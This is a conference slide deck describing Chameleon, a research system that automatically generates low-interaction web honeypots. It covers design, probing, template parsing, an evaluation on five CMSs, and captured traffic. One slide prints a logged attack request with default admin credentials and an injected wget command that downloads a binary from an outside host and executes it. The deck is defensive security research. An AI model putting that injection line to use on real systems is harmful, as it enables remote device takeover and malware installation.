Chameleon
Automatic Generation of Low-Interaction Web Honeypots

Marius Musch (TU Braunschweig)
Martin Härterich (SAP SE)
Agenda

• Honeypots
  • Types
  • Pros and Cons

• Generating Honeypots
  • Approach
  • Demo
  • Results
Honeypots

“A security resource whose value lies in being probed, attacked, or compromised” [1]

=> System you want to be attacked
High vs. Low Interaction

- High-Interaction Honeypot (HIHP)
  - What are attackers doing after they successfully compromised a system?
  - Identify attackers from within the authenticated userbase

- Low-Interaction Honeypot (LIHP)
  - Are my systems under active attack?
  - Which vulnerabilities are targeted?
  - Profile outside attackers

Today: Focus on low-interaction server web honeypots
Motivation for Using Honeypots

“Prevent, Detect, React”
→ Consider this in the context of the complete software development life-cycle

- Gather knowledge and statistics about frequency of attacks and primary attack vectors
- Study real attackers behavior when approaching honeypot systems
- Use Knowledge collected in honeypot systems to
  - improve your IDS
  - prioritize processing of code scan results
  - etc.
Glastopf

For more examples watch [3]
Pros and Cons

- Advantages
  - Collect valuable data
  - Allow examination of unknown attacks
  - Use minimal resources (only true for low-interaction)

- Disadvantages
  - Only limited vision
  - Manual development and configuration required
  - Detectable via fingerprinting

Can we automatically generate honeypots by observing real applications?
Design Goals

• Universality
  • Independent of the original system’s underlying technology

• Automation
  • Create copy of target system without manual effort

• Scalability
  • Run many emulated systems instances on one machine

• Deception
  • Approximate indistinguishability from the real system
Overview

Real Application

Probing
- Crawl content
- Fuzz inputs
- Record traffic

Parsing
- Static / dynamic
- Learn semantics
- Create templates

Publishing
- HTTP server
- Select template
- Log interactions

HTTP traffic
Templates

Honeypot
Probing

• Goals
  • Discover as many resources as possible
  • Identify range of responses

• Crawling
  • Recursively follow links, download everything multiple times

• Reconnaissance
  • Extract URLs from common files and find directory listings

• Fuzzing
  • Mutate existing data (Method, Query, Headers, Body)
  • Generate values for HTML forms
Parsing

• Goals
  • Infer semantics of dynamic values
  • Build templates with placeholders

• Compare responses with diff algorithm

  JSESSION=1B03E3F25CC8EF11207A1A2657C49505E9; HttpOnly

• Variables
  • Always changing: Random tokens, Counters
  • Input-dependent: Session tokens, Reflections
  • Rarely changing: Timestamps
  • Unknown
Parsing example

• Response 1 vs. 2 (Same cookies)
  • It is now 19:23:445 UTC. To login click <a href="http://xyz.com/login.php?ssid=wG45">here</a>

• Response 1 vs. 3 (Different cookies)
  • It is now 19:23:448 UTC. To login click <a href="http://xyz.com/login.php?ssid=wG454SH8">here</a>

• Resulting template
  • It is now \$_TIME_HH:mm:ss$_ UTC. To login click <a href="http://$_HOST_/login.php?ssid=\$_SESSION-01_111000-0404-wGHS4458_\$">here</a>
Publishing

- Goals
  - Find best template for any given request
  - Generate response from template
DEMO
Evaluation

• Generate honeypots => Automation
  • 5 popular CMSs

<table>
<thead>
<tr>
<th>CMS</th>
<th>Version</th>
<th>Creation Time</th>
<th>Unique Templates</th>
<th>Avg. Vars per Template</th>
</tr>
</thead>
<tbody>
<tr>
<td>Drupal</td>
<td>8.2.1</td>
<td>9 min</td>
<td>190</td>
<td>1.9</td>
</tr>
<tr>
<td>Joomla</td>
<td>3.6.3</td>
<td>12 min</td>
<td>139</td>
<td>2.7</td>
</tr>
<tr>
<td>Magento</td>
<td>2.1.2</td>
<td>38 min</td>
<td>451</td>
<td>1.3</td>
</tr>
<tr>
<td>TYPO3</td>
<td>7.6.14</td>
<td>22 min</td>
<td>414</td>
<td>2.2</td>
</tr>
<tr>
<td>WordPress</td>
<td>4.6.1</td>
<td>8 min</td>
<td>85</td>
<td>2.1</td>
</tr>
</tbody>
</table>

• Visual comparison => Compatibility
  • Take screenshot and compare pixels

• Fingerprinting => Deception
  • Worked with all tested tools: Nmap, WhatWeb, lbmap
Empirical study

- Also replaced production WordPress with Chameleon
Captured POST requests

178.32.56.xxx/wordpress/wp-comments-post.php

akismet_comment_nonce=da2ee43abf
author=Glass splashbacks
submit=Post Comment
e-mail=mar***_****ch@secret.org
comment_post_ID=665
ak_js=991
comment=Terrific work! This is the kind of information that should be shared around the web. Disgrace on the search engines for now not positioning this post upper!

Come on over and visit my web site. Thank you =)
url=http://www.glass-outlet.co.uk/products/splashbacks/
comment_parent=0
More captured POST requests

35.163.97.xxx/cgi-bin/supervisor/CloudSetup.cgi

connection=close
accept=/*
content-length=0
authorization=Basic YWRtaW46YWRtaW4=
accept-encoding=gzip, deflate

exefile=wget -O /tmp/Arm1 http://172.247.116.xxx:85/Arm1;chmod 0777 /tmp/Arm1;/tmp/Arm1
Conclusion

• Chameleon’s approach
  • automates honeypot generation
  • is compatible with existing web servers
  • is highly scalable
  • allows to simulate large numbers of systems simultaneously
  • deceives automated tools

Questions?
Resources

  http://www.it-docs.net/ddata/792.pdf


  https://media.ccc.de/v/32c3-7277-breaking_honeypots_for_fun_and_profit

  http://dl.acm.org/citation.cfm?id=1233399